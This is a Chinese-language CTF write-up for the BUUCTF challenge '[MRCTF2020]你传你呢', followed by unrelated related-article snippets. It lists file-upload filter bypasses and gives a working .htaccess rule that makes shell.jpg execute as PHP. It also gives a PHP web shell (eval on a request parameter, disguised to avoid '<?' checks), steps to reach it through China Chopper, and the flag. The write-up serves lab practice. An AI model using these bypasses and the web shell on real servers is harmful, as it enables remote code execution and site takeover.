BUUCTF闯关日记--[MRCTF2020]你传你呢(超详解)

进入页面

文件上传漏洞,因为有些人没看过我前面的文章我再把我的总结发一下

1、前端绕过，抓包修改后缀名，

2、文件内容绕过，用图片马，抓包修改后缀绕过

3、黑名单绕过,那么我们可以改成phtml抓包绕过

4、.htaccess绕过，只要有这个配置文件，并且内容为“AddType application/x-httpd-php .jpg(就是把所以jpg后缀的文件全都当作php文件来执行)”

5、大小写绕过，抓包后修改后缀为.PHp

7、空格绕过，抓包修改后缀，在后缀后面加上空格

8、点绕过，抓包修改后缀，在后缀后面加上点(删掉空格还可以. .或者 . )

9、文件流绕过，前提条件，必须是window的服务器，抓包修改后缀，并在后缀后面加上::$DATA,

10、双拼绕过，抓包修改后缀，并在把后缀改成pphphp，这样后端去掉php，还剩下个p和hp组合在一起，又是php

11、.user.ini配置文件绕过

思路要明确,不要做只会做题的做题机器,你要连接你的木马

而普通的jpg文件png文件不能连接你的木马

所以先试一试普通php文件(当然了要抓包绕过一下前端),把各种双写,大小写,空格绕过都试一遍,回显都是

只好从配置文件入手

上传你的.htaccess文件,内容是

<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

上传的时候要注意改一个地方

可以发现上传成功

接下来就是我们的shell.jpg

内容是

<script language='php'>eval($_REQUEST[8]);</script>

不使用<?php eva($_REQUEST[8])?>系统很爱检测<?

然后上传我们的shell.jpg

成功.访问shell.jpg,有很多人不知道具体路径到底是什么,其实就是革除www/html

所以访问的地址就是4e2d98f5-f26c-4266-b655-de8ef2bea07f.node4.buuoj.cn:81/upload/eef153c3bd8cc752cf5c14881e095871/shell.jpg 可以看到回显是

没错,一片空白,很有希望了,因为他不再被当作jpg解析

试一下有没有连接成功,传入?8=phpinfo();

成功!可以去连接菜刀了成功拿到flag

flag在根目录,就是那个磁盘的第一层级

flag{0a5ddaae-3ea7-413a-9744-e546c3815454}

BUUCTF闯关日记--[MRCTF2020]你传你呢(超详解)相关推荐

vue 事件调用传参_对vue下点击事件传参和不传参的区别详解
如下所示: {{btn_text1}} {{btn_text2}} var _vm = new Vue({ data : { btn_text1 : '点击1' , btn_text2 : '点击2' ...
php设置上传文件大小限制_php修改上传文件大小限制实例详解
php修改上传文件大小限制实例详解 php在默认情况下,只允许上传一定大小的文件,当上传文件大小超过这个值时,将会出错.本文章将向大家讲解php.ini中如何修改上传文件大小限制.需要修改的设置有三个 ...
click传值vue_对vue下点击事件传参和不传参的区别详解
如下所示: {{btn_text1}} {{btn_text2}} var _vm = new Vue({ data : { btn_text1 : '点击1' , btn_text2 : '点击2' ...
HTML5 多图片上传（前端+后台详解）
HTML5 多图片上传(前端+后台详解) 1.参考jquery插件库 2.修改代码 3.添加的后台代码 4.删除的后台代码 1.参考jquery插件库手机端实现多图片上传 2.修改代码我发现他这里 ...
转虫师的selenium借助AutoIt识别上传（下载）详解
selenium借助AutoIt识别上传(下载)详解 2014-12-27 11:26 by 虫师, 755 阅读, 1 评论, 收藏, 编辑 AutoIt目前最新是v3版本,这是一个使用类似BAS ...
java文件流 m.jb51.net_FasfDFS整合Java实现文件上传下载功能实例详解
今天使用Java代码实现文件的上传和下载.对此作者提供了Java API支持,下载fastdfs-client-java将源码添加到项目中.或者在Maven项目pom.xml文件中添加依赖 org.c ...
JS - 文件上传组件WebUploader使用详解1（带进度的文件上传
一.基本介绍 1,什么是 WebUploader? WebUploader 是由百度公司团队开发的一个以 HTML5 为主,FLASH 为辅的现代文件上传组件. 官网地址:http://fex.bai ...
传智播客html css3笔记,传智播客详解Css3九大常用属性
在Css3的学习和实际操作中,我们经常会接触到一些常用属性,比如字体.文本.列表和背景等.下面,传智播客将对常用的Css3九大属性进行详解. 1.传智播客详解Css3九大常用属性-字体 l Font- ...
刀剑斗神服务器一般维护多长时间,刀剑斗神传怎么挂机刀剑斗神传挂机玩法详解...
刀剑斗神传怎么挂机,很多新手玩家们却不知道该如何挂机!别着急,接下来就和小编一起来看下刀剑斗神传挂机玩法详解!赶紧get起来吧! 刀剑斗神传怎么挂机刀剑斗神传挂机玩法详解炼妖塔是当年禹王所建,用来 ...

BUUCTF闯关日记--[MRCTF2020]你传你呢(超详解)

BUUCTF闯关日记--[MRCTF2020]你传你呢(超详解)相关推荐

最新文章

热门文章